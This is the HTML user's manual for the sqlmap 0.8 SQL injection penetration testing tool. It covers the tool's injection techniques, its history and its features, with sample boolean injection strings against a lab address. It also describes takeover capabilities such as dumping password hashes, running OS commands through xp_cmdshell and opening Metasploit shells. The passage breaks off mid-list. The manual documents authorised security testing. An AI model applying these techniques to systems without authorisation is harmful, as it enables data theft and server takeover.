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6258 lines
241 KiB
HTML
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
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<HTML>
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<HEAD>
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<META NAME="GENERATOR" CONTENT="LinuxDoc-Tools 0.9.65">
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<TITLE>sqlmap user's manual</TITLE>
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</HEAD>
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<BODY>
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<H1>sqlmap user's manual</H1>
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<H2>by
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<A HREF="mailto:bernardo.damele@gmail.com">Bernardo Damele A. G.</A>,
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<A HREF="mailto:miroslav.stampar@gmail.com">Miroslav Stampar</A></H2>version 0.8, March 14, 2010
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<HR>
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<EM>This document is the user's manual to use
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<A HREF="http://sqlmap.sourceforge.net">sqlmap</A>.
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Check the project
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<A HREF="http://sqlmap.sourceforge.net">homepage</A>
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for the latest version.</EM>
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<HR>
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<P>
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<H2><A NAME="toc1">1.</A> <A HREF="README.html#s1">Introduction</A></H2>
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<UL>
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<LI><A NAME="toc1.1">1.1</A> <A HREF="README.html#ss1.1">Requirements</A>
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<LI><A NAME="toc1.2">1.2</A> <A HREF="README.html#ss1.2">Scenario</A>
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<LI><A NAME="toc1.3">1.3</A> <A HREF="README.html#ss1.3">Techniques</A>
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<LI><A NAME="toc1.4">1.4</A> <A HREF="README.html#ss1.4">Demo</A>
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<LI><A NAME="toc1.5">1.5</A> <A HREF="README.html#ss1.5">History</A>
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</UL>
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<P>
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<H2><A NAME="toc2">2.</A> <A HREF="README.html#s2">Features</A></H2>
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<UL>
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<LI><A NAME="toc2.1">2.1</A> <A HREF="README.html#ss2.1">Generic features</A>
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<LI><A NAME="toc2.2">2.2</A> <A HREF="README.html#ss2.2">Fingerprint and enumeration features</A>
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<LI><A NAME="toc2.3">2.3</A> <A HREF="README.html#ss2.3">Takeover features</A>
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</UL>
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<P>
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<H2><A NAME="toc3">3.</A> <A HREF="README.html#s3">Download and update</A></H2>
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<P>
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<H2><A NAME="toc4">4.</A> <A HREF="README.html#s4">License and copyright</A></H2>
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<P>
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<H2><A NAME="toc5">5.</A> <A HREF="README.html#s5">Usage</A></H2>
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<UL>
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<LI><A NAME="toc5.1">5.1</A> <A HREF="README.html#ss5.1">Output verbosity</A>
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<LI><A NAME="toc5.2">5.2</A> <A HREF="README.html#ss5.2">Target</A>
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<LI><A NAME="toc5.3">5.3</A> <A HREF="README.html#ss5.3">Request</A>
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<LI><A NAME="toc5.4">5.4</A> <A HREF="README.html#ss5.4">Injection</A>
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<LI><A NAME="toc5.5">5.5</A> <A HREF="README.html#ss5.5">Techniques</A>
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<LI><A NAME="toc5.6">5.6</A> <A HREF="README.html#ss5.6">Fingerprint</A>
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<LI><A NAME="toc5.7">5.7</A> <A HREF="README.html#ss5.7">Enumeration</A>
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<LI><A NAME="toc5.8">5.8</A> <A HREF="README.html#ss5.8">User-defined function injection</A>
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<LI><A NAME="toc5.9">5.9</A> <A HREF="README.html#ss5.9">File system access</A>
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<LI><A NAME="toc5.10">5.10</A> <A HREF="README.html#ss5.10">Operating system access</A>
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<LI><A NAME="toc5.11">5.11</A> <A HREF="README.html#ss5.11">Windows registry access</A>
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<LI><A NAME="toc5.12">5.12</A> <A HREF="README.html#ss5.12">Miscellaneous</A>
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</UL>
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<P>
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<H2><A NAME="toc6">6.</A> <A HREF="README.html#s6">Disclaimer</A></H2>
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<P>
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<H2><A NAME="toc7">7.</A> <A HREF="README.html#s7">Authors</A></H2>
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<HR>
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<H2><A NAME="s1">1.</A> <A HREF="#toc1">Introduction</A></H2>
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<P>sqlmap is an open source penetration testing tool that automates the
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process of detecting and exploiting SQL injection flaws and taking over of
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back-end database servers.
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It comes with a broad range of features lasting from database
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fingerprinting, over data fetching from the database, to accessing the
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underlying file system and executing commands on the operating system via
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out-of-band connections.</P>
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<H2><A NAME="ss1.1">1.1</A> <A HREF="#toc1.1">Requirements</A>
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</H2>
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<P>sqlmap is developed in
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<A HREF="http://www.python.org">Python</A>,
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a dynamic object-oriented interpreted programming language.
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This makes the tool independent from the operating system. It only
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requires the Python interpreter version equal or above to <B>2.5</B>.
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The interpreter is freely downloadable from its
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<A HREF="http://python.org/download/">official site</A>.
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To make it even easier, many GNU/Linux distributions come out of the box
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with Python interpreter installed and other Unices and Mac OSX too provide
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it packaged in their formats and ready to be installed.
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Windows users can download and install the Python setup-ready installer
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for x86, AMD64 and Itanium too.</P>
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<P>sqlmap relies on the
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<A HREF="http://metasploit.com/framework/">Metasploit Framework</A> for some of its post-exploitation takeover
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features. You need to grab a copy of it from the
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<A HREF="http://metasploit.com/framework/download/">download</A>
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page. The required version is <B>3.4</B> or above.</P>
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<P>If you plan to attack a web application behind NTLM authentication or use
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the sqlmap update functionality you need to install respectively
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<A HREF="http://code.google.com/p/python-ntlm/">python-ntlm</A>
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and
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<A HREF="http://pysvn.tigris.org/">python-svn</A> libraries.</P>
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<P>Optionally, if you are running sqlmap on Windows, you may wish to install
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<A HREF="http://ipython.scipy.org/moin/PyReadline/Intro">PyReadline</A>
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library to be able to take advantage of the sqlmap TAB completion and
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history support functionalities in the SQL shell and OS shell.
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Note that these functionalities are available natively by Python standard
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<A HREF="http://docs.python.org/library/readline.html">readline</A>
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library on other operating systems.</P>
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<P>You can also choose to install
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<A HREF="http://psyco.sourceforge.net/">Psyco</A> library to speed up the sqlmap algorithmic operations.</P>
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<H2><A NAME="ss1.2">1.2</A> <A HREF="#toc1.2">Scenario</A>
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</H2>
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<P>Let's say that you are auditing a web application and found a web page
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that accepts dynamic user-provided values on <CODE>GET</CODE> or <CODE>POST</CODE>
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parameters or HTTP <CODE>Cookie</CODE> values or HTTP <CODE>User-Agent</CODE>
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header value.
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You now want to test if these are affected by a SQL injection
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vulnerability, and if so, exploit them to retrieve as much information as
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possible out of the web application's back-end database management system
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or even be able to access the underlying operating system.</P>
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<P>Consider that the target url is:</P>
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<P>
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<BLOCKQUOTE><CODE>
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<CODE>http://172.16.213.131/sqlmap/mysql/get_int.php?id=1</CODE>
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</CODE></BLOCKQUOTE>
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</P>
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<P>Assume that:</P>
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<P>
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<BLOCKQUOTE><CODE>
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<CODE>http://172.16.213.131/sqlmap/mysql/get_int.php?id=1+AND+1=1</CODE>
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</CODE></BLOCKQUOTE>
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</P>
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<P>is the same page as the original one and:</P>
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<P>
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<BLOCKQUOTE><CODE>
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<CODE>http://172.16.213.131/sqlmap/mysql/get_int.php?id=1+AND+1=2</CODE>
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</CODE></BLOCKQUOTE>
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</P>
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<P>differs from the original one, it means that you are in front of a SQL
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injection vulnerability in the <CODE>id</CODE> <CODE>GET</CODE> parameter of the
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<CODE>index.php</CODE> web application page which means that no IDS/IPS, no
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web application firewall, no parameters' value sanitization is performed
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on the server-side.</P>
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<P>This is a quite common flaw in dynamic content web applications and it
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does not depend upon the back-end database management system nor on the web
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application programming language: it is a programmer code's security flaw.
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The
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<A HREF="http://www.owasp.org">Open Web Application Security Project</A>
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rated on 2010 in their
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<A HREF="http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project">OWASP Top Ten</A> survey this vulnerability as the
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<A HREF="http://www.owasp.org/images/0/0f/OWASP_T10_-_2010_rc1.pdf">most common</A> and important web application vulnerability along with other
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injection flaws.</P>
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<P>Back to the scenario, probably the SQL <CODE>SELECT</CODE> statement into
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<CODE>get_int.php</CODE> has a syntax similar to the following SQL query, in
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pseudo PHP code:</P>
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<P>
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<BLOCKQUOTE><CODE>
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<CODE>$query = "SELECT [column(s) name] FROM [table name] WHERE id=" . $_REQUEST['id'];</CODE>
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</CODE></BLOCKQUOTE>
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</P>
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<P>As you can see, appending any other syntatically valid SQL condition after
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a value for <CODE>id</CODE> such condition will take place when the web
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application passes the query to the back-end database management system
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that executes it, that is why the condition <CODE>id=1 AND 1=1</CODE> is valid
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(<EM>True</EM>) and returns the same page as the original one, with the
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same content and without showing any SQL error message.</P>
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<P>Moreover, in this simple and easy to inject scenario it would be also
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possible to append, not just one or more valid SQL condition(s), but also
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stacked SQL queries, for instance something like <CODE>[...]&id=1;
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ANOTHER SQL QUERY#</CODE> if the web application technology supports
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<EM>stacked queries</EM>, also known as <EM>multiple statements</EM>.</P>
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<P>Now that you found this SQL injection vulnerable parameter, you can
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exploit it by manipulating the <CODE>id</CODE> parameter value in the HTTP
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request.</P>
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<P>There exist many
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<A HREF="http://delicious.com/inquis/sqlinjection">resources</A>
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on the Net explaining in depth how to prevent, how to detect and how to
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exploit SQL injection vulnerabilities in web application and it is
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recommended to read them if you are not familiar with the issue before
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going ahead with sqlmap.</P>
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<P>Passing the original address, <CODE>http://172.16.213.131/sqlmap/mysql/get_int.php?id=1</CODE>
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to sqlmap, the tool will automatically:</P>
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<P>
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<UL>
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<LI>Identify the vulnerable parameter(s) (<CODE>id</CODE> in this scenario);</LI>
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<LI>Depending on the user's options, fingerprint, enumerate, takeover
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the database server.</LI>
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</UL>
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</P>
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<H2><A NAME="ss1.3">1.3</A> <A HREF="#toc1.3">Techniques</A>
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</H2>
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<P>sqlmap implements three techniques to exploit a SQL injection
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vulnerability:</P>
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<P>
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<UL>
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<LI><B>Inferential blind SQL injection</B>, also known as <B>boolean
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based blind SQL injection</B>: sqlmap appends to the affected parameter in
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the HTTP request, a syntatically valid SQL statement string containing a
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<CODE>SELECT</CODE> sub-statement, or any other SQL statement whose the user
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want to retrieve the output.
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For each HTTP response, by making a comparison based upon HTML page
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content hashes, or string matches, with the original request, the tool
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determines the output value of the statement character by character.
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The bisection algorithm implemented in sqlmap to perform this technique
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is able to fetch each output character with at maximum seven HTTP
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requests.
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This is sqlmap default SQL injection technique.</LI>
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<LI><B>UNION query (inband) SQL injection</B>, also known as <B>full
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UNION query SQL injection</B>: sqlmap appends to the affected parameter
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in the HTTP request, a syntatically valid SQL statement string starting
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with a <CODE>UNION ALL SELECT</CODE>. This techique is useful if the web
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application page passes the output of the <CODE>SELECT</CODE> statement to a
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<CODE>for</CODE> cycle, or similar, so that each line of the query output is
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printed on the page content.
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sqlmap is also able to exploit <B>partial (single entry) UNION query SQL
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injection</B> vulnerabilities which occur when the output of the statement
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is not cycled in a for construct whereas only the first entry output is
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displayed.
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This technique is much faster if the target url is affected by because
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in a single HTTP response it returns the whole query output or a entry
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per each response within the page content.
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This SQL injection technique is an alternative to the first one.</LI>
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<LI><B>Batched (stacked) queries support</B>, also known as <B>multiple
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statements support</B>: sqlmap tests if the web application supports
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stacked queries then, in case it does support, it appends to the affected
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parameter in the HTTP request, a semi-colon (<CODE>;</CODE>) followed by the
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SQL statement to be executed. This technique is useful to run SQL
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statements other than <CODE>SELECT</CODE> like, for instance, <EM>data
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definition</EM> or <EM>data manipulation</EM> statements possibly leading
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to file system read and write access and operating system command
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execution depending on the underlying back-end database management system
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and the session user privileges.</LI>
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</UL>
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</P>
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<H2><A NAME="ss1.4">1.4</A> <A HREF="#toc1.4">Demo</A>
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</H2>
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<P>You can watch several demo videos, they are hosted on
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<A HREF="http://www.youtube.com/user/inquisb#g/u">YouTube</A> and linked
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from
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<A HREF="http://sqlmap.sourceforge.net/demo.html">here</A>.</P>
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<H2><A NAME="ss1.5">1.5</A> <A HREF="#toc1.5">History</A>
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</H2>
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<H3>2010</H3>
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<P>
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<UL>
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<LI><B>March 14</B>,
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<A HREF="http://sqlmap.sourceforge.net/#author">Bernardo and Miroslav</A> release stable version of
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sqlmap <B>0.8</B> featuring many features. Amongst these, support to
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enumerate and dump all databases' tables containing user provided
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column(s), stabilization and enhancements to the takeover functionalities,
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updated integration with Metasploit 3.3.3 and a lot of minor features and
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bug fixes.</LI>
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<LI><B>March</B>, sqlmap demo videos have been
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<A HREF="http://sqlmap.sourceforge.net/demo.html">published</A>.</LI>
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<LI><B>January</B>, Bernardo is
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<A HREF="http://www.athcon.org/speakers/">invited</A> to present at
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<A HREF="http://www.athcon.org">AthCon</A> conference in Greece on June
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2010.</LI>
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</UL>
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</P>
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<H3>2009</H3>
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<P>
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<UL>
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<LI><B>December 18</B>, Miroslav Stampar replies to the call for
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developers. Along with Bernardo, he actively develops sqlmap from version
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<B>0.8 release candidate 2</B>.
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</LI>
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<LI><B>December 12</B>, Bernardo writes to the mailing list a post
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titled
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<A HREF="http://bernardodamele.blogspot.com/2009/12/sqlmap-state-of-art-3-years-later.html">sqlmap state of art - 3 years later</A> highlighting the goals
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achieved during these first three years of the project and launches a call
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for developers.
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</LI>
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<LI><B>December 4</B>, sqlmap-devel mailing list has been merged into
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sqlmap-users
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<A HREF="http://sqlmap.sourceforge.net/#ml">mailing list</A>.
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</LI>
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<LI><B>November 20</B>, Bernardo and Guido present again their
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research on stealth database server takeover at CONfidence 2009 in Warsaw,
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Poland.
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</LI>
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<LI><B>September 26</B>, sqlmap version <B>0.8 release candidate
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1</B> goes public on the
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<A HREF="https://svn.sqlmap.org/sqlmap/trunk/sqlmap/">Subversion repository</A>, with all the attack
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vectors unveiled at SOURCE Barcelona 2009 Conference. These include an
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enhanced version of the Microsoft SQL Server buffer overflow exploit to
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automatically bypass DEP memory protection, support to establish the
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out-of-band connection with the database server by executing in-memory
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the Metasploit shellcode via UDF <EM>sys_bineval()</EM> (anti-forensics
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technique), support to access the Windows registry hives and support to
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inject custom user-defined functions.
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</LI>
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<LI><B>September 21</B>, Bernardo and
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<A HREF="http://www.pornosecurity.org">Guido Landi</A>
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<A HREF="http://www.sourceconference.com/index.php/pastevents/source-barcelona-2009/schedule">present</A> their research (
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<A HREF="http://www.slideshare.net/inquis/expanding-the-control-over-the-operating-system-from-the-database">slides</A>) at SOURCE Conference 2009 in Barcelona, Spain.
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</LI>
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<LI><B>August</B>, Bernardo is accepted as a speaker at two others IT
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security conferences,
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<A HREF="http://www.sourceconference.com/index.php/pastevents/source-barcelona-2009">SOURCE Barcelona 2009</A> and
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<A HREF="http://200902.confidence.org.pl/">CONfidence 2009 Warsaw</A>.
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This new research is titled <EM>Expanding the control over the operating
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system from the database</EM>.
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</LI>
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<LI><B>July 25</B>, stable version of sqlmap <B>0.7</B> is out!
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</LI>
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<LI><B>June 27</B>, Bernardo
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<A HREF="http://www.slideshare.net/inquis/sql-injection-not-only-and-11-updated">presents</A>
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an updated version of his
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<EM>SQL injection: Not only AND 1=1</EM> slides at
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<A HREF="http://www.digitalsecurityforum.eu/">2nd Digital Security Forum</A> in
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Lisbon, Portugal.
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</LI>
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<LI><B>June 2</B>, sqlmap version <B>0.6.4</B> has made its way to
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the official Ubuntu repository too.
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</LI>
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<LI><B>May</B>, Bernardo presents again his research on operating
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system takeover via SQL injection at
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<A HREF="http://www.owasp.org/index.php/OWASP_AppSec_Europe_2009_-_Poland">OWASP AppSec Europe 2009</A> in Warsaw, Poland and at
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<A HREF="http://eusecwest.com/">EUSecWest 2009</A> in London, UK.
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</LI>
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<LI><B>May 8</B>, sqlmap version <B>0.6.4</B> has been officially
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accepted in Debian repository. Details on
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<A HREF="http://bernardodamele.blogspot.com/2009/05/sqlmap-in-debian-package-repository.html">this blog post</A>.
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</LI>
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<LI><B>April 22</B>, sqlmap version <B>0.7 release candidate 1</B>
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goes public, with all the attack vectors unveiled at Black Hat Europe 2009
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Conference.
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These include execution of arbitrary commands on the underlying operating
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system, full integration with Metasploit to establish an out-of-band
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TCP connection, first publicly available exploit for Microsoft Security
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Bulletin
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<A HREF="http://www.microsoft.com/technet/security/Bulletin/MS09-004.mspx">MS09-004</A> against Microsoft SQL Server 2000 and 2005 and others
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attacks to takeover the database server as a whole, not only the data from
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the database.
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</LI>
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<LI><B>April 16</B>, Bernardo
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<A HREF="http://www.blackhat.com/html/bh-europe-09/bh-eu-09-archives.html#Damele">presents</A> his research (
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<A HREF="http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-slides">slides</A>,
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<A HREF="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf">whitepaper</A>) at Black Hat Europe 2009 in Amsterdam, The Netherlands.
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The feedback from the audience is good and there has been some
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<A HREF="http://bernardodamele.blogspot.com/2009/03/black-hat-europe-2009.html">media coverage</A> too.
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</LI>
|
|
<LI><B>March 5</B>, Bernardo
|
|
<A HREF="http://www.slideshare.net/inquis/sql-injection-not-only-and-11">presents</A> for the first time some of the sqlmap recent features and
|
|
upcoming enhancements at an international event,
|
|
<A HREF="http://www.owasp.org/index.php/Front_Range_OWASP_Conference_2009">Front Range OWASP Conference 2009</A> in Denver, USA. The presentation
|
|
is titled <EM>SQL injection: Not only AND 1=1</EM>.
|
|
</LI>
|
|
<LI><B>February 24</B>, Bernardo is accepted as a
|
|
<A HREF="http://www.blackhat.com/html/bh-europe-09/bh-eu-09-speakers.html#Damele">speaker</A> at
|
|
<A HREF="http://www.blackhat.com/html/bh-europe-09/bh-eu-09-main.html">Black Hat Europe 2009</A> with a presentation titled <EM>Advanced SQL
|
|
injection exploitation to operating system full control</EM>.
|
|
</LI>
|
|
<LI><B>February 3</B>, sqlmap <B>0.6.4</B> is the last point release
|
|
for 0.6: taking advantage of the stacked queries test implemented in 0.6.3,
|
|
sqlmap can now be used to execute any arbitrary SQL statement, not only
|
|
<EM>SELECT</EM> anymore. Also, many features have been stabilized, tweaked
|
|
and improved in terms of speed in this release.
|
|
</LI>
|
|
<LI><B>January 9</B>, Bernardo
|
|
<A HREF="http://www.slideshare.net/inquis/sql-injection-exploitation-internals-presentation">presents</A> <EM>SQL injection exploitation internals</EM> at a
|
|
private event in London, UK.</LI>
|
|
</UL>
|
|
</P>
|
|
|
|
<H3>2008</H3>
|
|
|
|
<P>
|
|
<UL>
|
|
<LI><B>December 18</B>, sqlmap <B>0.6.3</B> is released featuring
|
|
support to retrieve targets from Burp and WebScarab proxies log files,
|
|
support to test for stacked queries ant time-based blind SQL injection,
|
|
rough fingerprint of the web server and web application technologies in
|
|
use and more options to customize the HTTP requests and enumerate more
|
|
information from the database.
|
|
</LI>
|
|
<LI><B>November 2</B>, sqlmap version <B>0.6.2</B> is a "bug fixes"
|
|
release only.
|
|
</LI>
|
|
<LI><B>October 20</B>, sqlmap first point release, <B>0.6.1</B>, goes
|
|
public. This includes minor bug fixes and the first contact between the
|
|
tool and
|
|
<A HREF="http://metasploit.com/framework">Metasploit</A>:
|
|
an auxiliary module to launch sqlmap from within Metasploit Framework.
|
|
The
|
|
<A HREF="https://svn.sqlmap.org/sqlmap/trunk/sqlmap/">Subversion development repository</A> goes public again.
|
|
</LI>
|
|
<LI><B>September 1</B>, nearly one year after the previous release,
|
|
sqlmap <B>0.6</B> comes to life featuring a complete code
|
|
refactoring, support to execute arbitrary SQL <EM>SELECT</EM> statements,
|
|
more options to enumerate and dump specific information are added, brand
|
|
new installation packages for Debian, Red Hat, Windows and much more.
|
|
</LI>
|
|
<LI><B>August</B>, two public
|
|
<A HREF="http://sqlmap.sourceforge.net/#ml">mailing lists</A> are created on SourceForge.
|
|
</LI>
|
|
<LI><B>January</B>, sqlmap Subversion development repository is moved
|
|
away from SourceForge and goes private for a while.</LI>
|
|
</UL>
|
|
</P>
|
|
|
|
<H3>2007</H3>
|
|
|
|
<P>
|
|
<UL>
|
|
<LI><B>November 4</B>, release <B>0.5</B> marks the end of the OWASP
|
|
Spring of Code 2007 contest participation. Bernardo has
|
|
<A HREF="http://www.owasp.org/index.php/SpoC_007_-_SQLMap_-_Progress_Page">accomplished</A> all the propsed objects which include also initial
|
|
support for Oracle, enhanced support for UNION query SQL injection and
|
|
support to test and exploit SQL injections in HTTP Cookie and User-Agent
|
|
headers.
|
|
</LI>
|
|
<LI><B>June 15</B>, Bernardo releases version <B>0.4</B> as a
|
|
result of the first OWASP Spring of Code 2007 milestone. This release
|
|
features, amongst others, improvements to the DBMS fingerprint engine,
|
|
support to calculate the estimated time of arrival, options to enumerate
|
|
specific data from the database server and brand new logging system.
|
|
</LI>
|
|
<LI><B>April</B>, even though sqlmap was <B>not</B> and is <B>not</B>
|
|
an OWASP project, it gets
|
|
<A HREF="http://www.owasp.org/index.php/SpoC_007_-_SqlMap">accepted</A>, amongst many other open source projects to OWASP Spring
|
|
of Code 2007.
|
|
</LI>
|
|
<LI><B>March 30</B>, Bernardo applies to OWASP
|
|
<A HREF="http://www.owasp.org/index.php/OWASP_Spring_Of_Code_2007_Applications#Bernardo_-_sqlmap">Spring of Code 2007</A>.
|
|
</LI>
|
|
<LI><B>January 20</B>, sqlmap version <B>0.3</B> is released,
|
|
featuring initial support for Microsoft SQL Server, support to test
|
|
and exploit UNION query SQL injections and injection points in POST
|
|
parameters.</LI>
|
|
</UL>
|
|
</P>
|
|
|
|
<H3>2006</H3>
|
|
|
|
<P>
|
|
<UL>
|
|
<LI><B>December 13</B>, Bernardo releases version <B>0.2</B> with
|
|
major enhancements to the DBMS fingerprint functionalities and replacement
|
|
of the old inference algorithm with the bisection algorithm.
|
|
</LI>
|
|
<LI><B>September</B>, Daniele leaves the project,
|
|
<A HREF="http://bernardodamele.blogspot.com">Bernardo Damele A. G.</A>
|
|
takes it over.
|
|
</LI>
|
|
<LI><B>August</B>, Daniele adds initial support for PostgreSQL and releases
|
|
version <B>0.1</B>.
|
|
</LI>
|
|
<LI><B>July 25</B>,
|
|
<A HREF="http://dbellucci.blogspot.com">Daniele Bellucci</A>
|
|
registers the sqlmap project on SourceForge and develops it on the
|
|
<A HREF="http://sqlmap.svn.sourceforge.net/viewvc/sqlmap/">SourceForge Subversion repository</A>. The skeleton is implemented and
|
|
limited support for MySQL added.</LI>
|
|
</UL>
|
|
</P>
|
|
|
|
|
|
<H2><A NAME="s2">2.</A> <A HREF="#toc2">Features</A></H2>
|
|
|
|
<P>Features implemented in sqlmap include:</P>
|
|
|
|
|
|
<H2><A NAME="ss2.1">2.1</A> <A HREF="#toc2.1">Generic features</A>
|
|
</H2>
|
|
|
|
<P>
|
|
<UL>
|
|
<LI>Full support for <B>MySQL</B>, <B>Oracle</B>, <B>PostgreSQL</B>
|
|
and <B>Microsoft SQL Server</B> back-end database management systems.
|
|
Besides these four database management systems software, sqlmap can also
|
|
identify Microsoft Access, DB2, Informix, Sybase and Interbase.
|
|
</LI>
|
|
<LI>Full support for three SQL injection techniques: <B> inferential
|
|
blind SQL injection</B>, <B>UNION query (inband) SQL injection</B> and
|
|
<B>batched queries support</B>. sqlmap can also test for <B>time based
|
|
blind SQL injection</B>.
|
|
</LI>
|
|
<LI>It is possible to provide a single target URL, get the list of
|
|
targets from
|
|
<A HREF="http://portswigger.net/suite/">Burp proxy</A>
|
|
requests log file or
|
|
<A HREF="http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project">WebScarab proxy</A> <CODE>conversations/</CODE> folder, get the whole HTTP
|
|
request from a text file or get the list of targets by providing sqlmap
|
|
with a Google dork which queries
|
|
<A HREF="http://www.google.com">Google</A> search engine and parses its results page. You can also
|
|
define a regular-expression based scope that is used to identify which of
|
|
the parsed addresses to test.
|
|
</LI>
|
|
<LI>Automatically tests all provided <B>GET</B> parameters,
|
|
<B>POST</B> parameters, HTTP <B>Cookie</B> header values and HTTP
|
|
<B>User-Agent</B> header value to find the dynamic ones, which means
|
|
those that vary the HTTP response page content.
|
|
On the dynamic ones sqlmap automatically tests and detects the ones
|
|
affected by SQL injection. Each dynamic parameter is tested for
|
|
<EM>numeric</EM>, <EM>single quoted string</EM>, <EM>double quoted
|
|
string</EM> and all of these three data-types with zero to two parenthesis
|
|
to correctly detect which is the <CODE>SELECT</CODE> statement syntax to
|
|
perform further injections with. It is also possible to specify the only
|
|
parameter(s) that you want to perform tests and use for injection on.
|
|
</LI>
|
|
<LI>Option to specify the <B>maximum number of concurrent HTTP
|
|
requests</B> to speed up the inferential blind SQL injection algorithms
|
|
(multi-threading). It is also possible to specify the number of seconds to
|
|
wait between each HTTP request.
|
|
</LI>
|
|
<LI><B>HTTP <CODE>Cookie</CODE> header</B> string support, useful when the
|
|
web application requires authentication based upon cookies and you have
|
|
such data or in case you just want to test for and exploit SQL injection
|
|
on such header. You can also specify to always URL-encode the Cookie
|
|
header.
|
|
</LI>
|
|
<LI>Automatically handle <B>HTTP <CODE>Set-Cookie</CODE> header</B> from
|
|
the application, re-establishing of the session if it expires. Test and
|
|
exploit on these values is supported too. You can also force to ignore any
|
|
<CODE>Set-Cookie</CODE> header.
|
|
</LI>
|
|
<LI><B>HTTP Basic, Digest, NTLM and Certificate authentications</B>
|
|
support.
|
|
</LI>
|
|
<LI><B>Anonymous HTTP proxy</B> support to pass by the requests to the
|
|
target application that works also with HTTPS requests.
|
|
</LI>
|
|
<LI>Options to fake the <B>HTTP <CODE>Referer</CODE> header</B> value and
|
|
the <B>HTTP <CODE>User-Agent</CODE> header</B> value specified by user or
|
|
randomly selected from a text file.
|
|
</LI>
|
|
<LI>Support to increase the <B>verbosity level of output messages</B>:
|
|
there exist <B>six levels</B>. The default level is <B>1</B> in which
|
|
information, warnings, errors and tracebacks (if any occur) will be shown.
|
|
</LI>
|
|
<LI>Granularity in the user's options.
|
|
</LI>
|
|
<LI><B>Estimated time of arrival</B> support for each query, updated
|
|
in real time while fetching the information to give to the user an
|
|
overview on how long it will take to retrieve the output.
|
|
</LI>
|
|
<LI>Automatic support to save the session (queries and their output,
|
|
even if partially retrieved) in real time while fetching the data on a
|
|
text file and <B>resume the injection from this file in a second
|
|
time</B>.
|
|
</LI>
|
|
<LI>Support to read options from a configuration INI file rather than
|
|
specify each time all of the options on the command line. Support also to
|
|
save command line options on a configuration INI file.
|
|
</LI>
|
|
<LI>Option to update sqlmap as a whole to the latest development version
|
|
from the Subversion repository.
|
|
</LI>
|
|
<LI>Integration with other IT security open source projects,
|
|
<A HREF="http://metasploit.com/framework/">Metasploit</A> and
|
|
<A HREF="http://w3af.sourceforge.net/">w3af</A>.</LI>
|
|
</UL>
|
|
</P>
|
|
|
|
|
|
<H2><A NAME="ss2.2">2.2</A> <A HREF="#toc2.2">Fingerprint and enumeration features</A>
|
|
</H2>
|
|
|
|
<P>
|
|
<UL>
|
|
<LI><B>Extensive back-end database software version and underlying
|
|
operating system fingerprint</B> based upon
|
|
<A HREF="http://bernardodamele.blogspot.com/2007/06/database-management-system-fingerprint.html">inband error messages</A>,
|
|
<A HREF="http://bernardodamele.blogspot.com/2007/06/database-management-system-fingerprint.html">banner parsing</A>,
|
|
<A HREF="http://bernardodamele.blogspot.com/2007/07/more-on-database-management-system.html">functions output comparison</A> and
|
|
<A HREF="http://bernardodamele.blogspot.com/2007/07/more-on-database-management-system.html">specific features</A>
|
|
such as MySQL comment injection. It is also possible to force the back-end
|
|
database management system name if you already know it.
|
|
</LI>
|
|
<LI>Basic web server software and web application technology fingerprint.
|
|
</LI>
|
|
<LI>Support to retrieve the DBMS <B>banner</B>, <B>session user</B>
|
|
and <B>current database</B> information. The tool can also check if the
|
|
session user is a database administrator (DBA).
|
|
</LI>
|
|
<LI>Support to enumerate <B>database users</B>, <B>users' password
|
|
hashes</B>, <B>users' privileges</B>, <B>databases</B>,
|
|
<B>tables</B> and <B>columns</B>.
|
|
</LI>
|
|
<LI>Support to <B>dump database tables</B> as a whole or a range of
|
|
entries as per user's choice. The user can also choose to dump only
|
|
specific column(s).
|
|
</LI>
|
|
<LI>Support to automatically dump <B>all</B> databases' schemas and
|
|
entries. It is possibly to exclude from the dump the system databases.
|
|
</LI>
|
|
<LI>Support to enumerate and dump <B>all databases' tables containing user
|
|
provided column(s)</B>. Useful to identify for instance tables containing
|
|
custom application credentials.
|
|
</LI>
|
|
<LI>Support to <B>run custom SQL statement(s)</B> as in an interactive
|
|
SQL client connecting to the back-end database. sqlmap automatically
|
|
dissects the provided statement, determines which technique to use to
|
|
inject it and how to pack the SQL payload accordingly.</LI>
|
|
</UL>
|
|
</P>
|
|
|
|
|
|
<H2><A NAME="ss2.3">2.3</A> <A HREF="#toc2.3">Takeover features</A>
|
|
</H2>
|
|
|
|
<P>Some of these techniques are detailed in the white paper
|
|
<A HREF="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf">Advanced SQL injection to operating system full control</A> and in the
|
|
slide deck
|
|
<A HREF="http://www.slideshare.net/inquis/expanding-the-control-over-the-operating-system-from-the-database">Expanding the control over the operating system from the database</A>.</P>
|
|
<P>
|
|
<UL>
|
|
<LI>Support to <B>inject custom user-defined functions</B>: the user
|
|
can compile shared object then use sqlmap to create within the back-end
|
|
DBMS user-defined functions out of the compiled shared object file. These
|
|
UDFs can then be executed, and optionally removed, via sqlmap too.
|
|
</LI>
|
|
<LI>Support to <B>read and upload any file</B> from the database
|
|
server underlying file system when the database software is MySQL,
|
|
PostgreSQL or Microsoft SQL Server.
|
|
</LI>
|
|
<LI>Support to <B>execute arbitrary commands and retrieve their
|
|
standard output</B> on the database server underlying operating system
|
|
when the database software is MySQL, PostgreSQL or Microsoft SQL Server.
|
|
<UL>
|
|
<LI>On MySQL and PostgreSQL via user-defined function injection and
|
|
execution.</LI>
|
|
<LI>On Microsoft SQL Server via <CODE>xp_cmdshell()</CODE> stored procedure.
|
|
Also, the stored procedure is re-enabled if disabled or created from
|
|
scratch if removed.</LI>
|
|
</UL>
|
|
|
|
</LI>
|
|
<LI>Support to <B>establish an out-of-band stateful TCP connection
|
|
between the user machine and the database server</B> underlying operating
|
|
system. This channel can be an interactive command prompt, a Meterpreter
|
|
session or a graphical user interface (VNC) session as per user's choice.
|
|
sqlmap relies on Metasploit to create the shellcode and implements four
|
|
different techniques to execute it on the database server. These
|
|
techniques are:
|
|
<UL>
|
|
<LI>Database <B>in-memory execution of the Metasploit's shellcode</B>
|
|
via sqlmap own user-defined function <CODE>sys_bineval()</CODE>. Supported on
|
|
MySQL and PostgreSQL.</LI>
|
|
<LI>Upload and execution of a Metasploit's <B>stand-alone payload
|
|
stager</B> via sqlmap own user-defined function <CODE>sys_exec()</CODE> on
|
|
